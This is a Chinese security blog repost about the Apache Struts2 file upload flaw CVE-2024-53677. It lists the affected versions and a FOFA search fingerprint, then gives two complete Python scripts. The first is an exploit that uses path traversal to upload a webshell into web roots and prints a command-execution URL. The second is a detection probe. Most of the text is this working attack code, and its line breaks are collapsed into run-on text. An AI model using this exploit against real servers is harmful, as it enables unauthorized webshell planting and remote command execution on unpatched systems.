新高危漏洞 (附在野POC)| Struts2任意文件上传漏洞(CVE-2024-53677)

admin 2024年12月19日17:40:12评论17 views字数 7413阅读24分42秒阅读模式
一、漏洞简介
该漏洞存在于 Apache Struts 的文件上传机制中。攻击者可以通过操纵文件上传参数来利用该漏洞,从而实现路径遍历、绕过安全机制将文件上传到服务器中的任意位置,或者通过上传和触发可执行文件(如.jsp脚本或二进制有效负载)来执行恶意代码。
二、影响版本
  • Struts 2.0.0 – Struts 2.3.37(已终止使用)
  • Struts 2.5.0 – Struts 2.5.33
  • Struts 6.0.0 – Struts 6.3.0.2
fofa指纹:app="Struts2"
三、在野POC
https://github.com/TAM-K592/CVE-2024-53677-S2-067
#S2-067.pyimport requestsimport argparsefrom urllib.parse import urljoinfrom requests_toolbelt.multipart.encoder import MultipartEncoderimport osdef upload_file(target_url, upload_endpoint, webshell_path, destination_path, allowed_types=None, allowed_extensions=None, simulate_i18n=False):"""    Upload a file to the target using parameter overwrite and path traversal.    """    upload_url = urljoin(target_url, upload_endpoint)print(f"[INFO] Uploading file to {upload_url}...")    headers = {"User-Agent""Mozilla/5.0"}    with open(webshell_path, "rb") as f:        webshell_content = f.read()    files_payload = {"upload": (os.path.basename(webshell_path), webshell_content, "application/octet-stream"),"uploadFileName": destination_path    }if simulate_i18n:        simulate_i18n_errors()    # Simulate MIME type and extension restrictionsif allowed_types:        headers["Content-Type"] = allowed_typesif allowed_extensions and not destination_path.endswith(tuple(allowed_extensions)):print(f"[WARNING] File extension {destination_path.split('.')[-1]} might not be allowed.")    try:        m = MultipartEncoder(fields=files_payload, boundary='----WebKitFormBoundary' + ''.join(random.choices("abcdefghijklmnopqrstuvwxyz1234567890", k=16)))        headers["Content-Type"] = m.content_type        response = requests.post(upload_url, headers=headers, data=m, timeout=10)if response.status_code == 200:print(f"[SUCCESS] File uploaded successfully: {destination_path}")            verify_uploaded_file(target_url, destination_path)else:print(f"[ERROR] Upload failed. HTTP {response.status_code}")    except requests.RequestException as e:print(f"[ERROR] Request failed: {e}")def verify_uploaded_file(target_url, file_path):"""Verify if the uploaded file is accessible."""    file_url = urljoin(target_url, file_path)print(f"[INFO] Verifying uploaded file: {file_url}")    try:        response = requests.get(file_url, timeout=10)if response.status_code == 200:print(f"[ALERT] File uploaded and accessible: {file_url}?cmd=whoami")else:print(f"[INFO] File not accessible. HTTP Status: {response.status_code}")    except requests.RequestException as e:print(f"[ERROR] Verification failed: {e}")def simulate_i18n_errors():"""Simulate i18n file error handling scenarios."""    errors = {"struts.messages.error.uploading""Error uploading file.","struts.messages.error.file.too.large""The file size exceeds the maximum limit.","struts.messages.error.content.type.not.allowed""The file type is not allowed.","struts.messages.error.file.extension.not.allowed""The file extension is not allowed."    }for key, message in errors.items():print(f"[I18N SIMULATION] {key}: {message}")def predefined_paths():"""Return a list of common test paths for path traversal."""return ["../../../../../webapps/ROOT/test.jsp","/tmp/webshell.jsp","/var/www/html/shell.jsp"    ]def main():    parser = argparse.ArgumentParser(description="S2-067 Exploit - Testing Deprecated File Upload Interceptor")    parser.add_argument("-u""--url", required=True, help="Target base URL (e.g., http://example.com)")    parser.add_argument("--upload_endpoint", required=True, help="Path to upload endpoint (e.g., /uploads.action)")    parser.add_argument("--webshell", required=True, help="Path to WebShell file")    parser.add_argument("-s""--single", help="Single target path for testing (e.g., ../../../../../webapps/ROOT/webshell.jsp)")    parser.add_argument("-d""--directory", nargs="+", help="Multiple target paths for testing")    parser.add_argument("-p""--predefined", action="store_true", help="Use predefined common paths")    parser.add_argument("--allowed_types", help="Simulated allowed MIME types (e.g., application/octet-stream)")    parser.add_argument("--allowed_extensions", nargs="+", help="Simulated allowed file extensions (e.g., .jsp, .txt)")    parser.add_argument("--simulate_i18n", action="store_true", help="Simulate i18n error handling scenarios")    args = parser.parse_args()if args.single:        upload_file(            target_url=args.url,            upload_endpoint=args.upload_endpoint,            webshell_path=args.webshell,            destination_path=args.single,            allowed_types=args.allowed_types,            allowed_extensions=args.allowed_extensions,            simulate_i18n=args.simulate_i18n        )    elif args.directory:for path in args.directory:            upload_file(                target_url=args.url,                upload_endpoint=args.upload_endpoint,                webshell_path=args.webshell,                destination_path=path,                allowed_types=args.allowed_types,                allowed_extensions=args.allowed_extensions,                simulate_i18n=args.simulate_i18n            )    elif args.predefined:for path in predefined_paths():            upload_file(                target_url=args.url,                upload_endpoint=args.upload_endpoint,                webshell_path=args.webshell,                destination_path=path,                allowed_types=args.allowed_types,                allowed_extensions=args.allowed_extensions,                simulate_i18n=args.simulate_i18n            )else:print("[ERROR] No testing mode selected. Use -s, -d, or -p.")        parser.print_help()if __name__ == "__main__":    main()
#Check-CVE-2024-53677.pyimport requestsimport argparseimport loggingfrom urllib.parse import urljoinfrom requests_toolbelt.multipart.encoder import MultipartEncoderimport random# Configure logginglogging.basicConfig(    level=logging.INFO,    format="%(asctime)s [%(levelname)s] %(message)s",    handlers=[logging.StreamHandler()])def detect_vulnerability(target_url, upload_endpoint):"""    Non-destructive detection of CVE-2024-53677.    """    logging.info("Starting detection for CVE-2024-53677 (S2-067)...")    upload_url = urljoin(target_url, upload_endpoint)    test_filename = "../../vuln_test.txt"    harmless_content = "S2-067 detection test."    # Attempt to overwrite file name using OGNL binding    files = {"upload": ("test.txt", harmless_content, "text/plain"),"top.uploadFileName": test_filename  # Attempt filename overwrite    }    # Custom Content-Type boundary    boundary = "----WebKitFormBoundary" + "".join(random.choices("abcdefghijklmnopqrstuvwxyz0123456789", k=16))    m = MultipartEncoder(fields=files, boundary=boundary)    headers = {"User-Agent""Mozilla/5.0","Content-Type": m.content_type    }    logging.info(f"Sending test request to upload endpoint: {upload_url}")try:        # Send file upload request        response = requests.post(upload_url, headers=headers, data=m, timeout=10)        # Analyze HTTP responseif response.status_code == 200:            logging.info("[INFO] File upload request succeeded.")if"vuln_test.txt" in response.text:                logging.warning("[ALERT] File name overwrite detected. Target may be vulnerable!")else:                logging.info("[INFO] Target does not appear vulnerable.")        elif response.status_code in [403401]:            logging.info("[INFO] Access denied. Ensure proper permissions.")else:            logging.info(f"[INFO] Unexpected HTTP response: {response.status_code}")    except requests.exceptions.RequestException as e:        logging.error(f"[ERROR] Request failed: {e}")def main():    parser = argparse.ArgumentParser(description="CVE-2024-53677 (S2-067) Non-destructive Detection Tool")    parser.add_argument("-u""--url", required=True, help="Target base URL (e.g., http://example.com)")    parser.add_argument("--upload_endpoint", required=True, help="Path to file upload endpoint (e.g., /upload.action)")    args = parser.parse_args()    logging.info("Starting detection process...")detect_vulnerability(args.url, args.upload_endpoint)    logging.info("Detection process completed.")if __name__ == "__main__":main()

原文始发于微信公众号(励行安全):新高危漏洞 (附在野POC)| Struts2任意文件上传漏洞(CVE-2024-53677)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月19日17:40:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   新高危漏洞 (附在野POC)| Struts2任意文件上传漏洞(CVE-2024-53677)http://cn-sec.com/archives/3529260.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息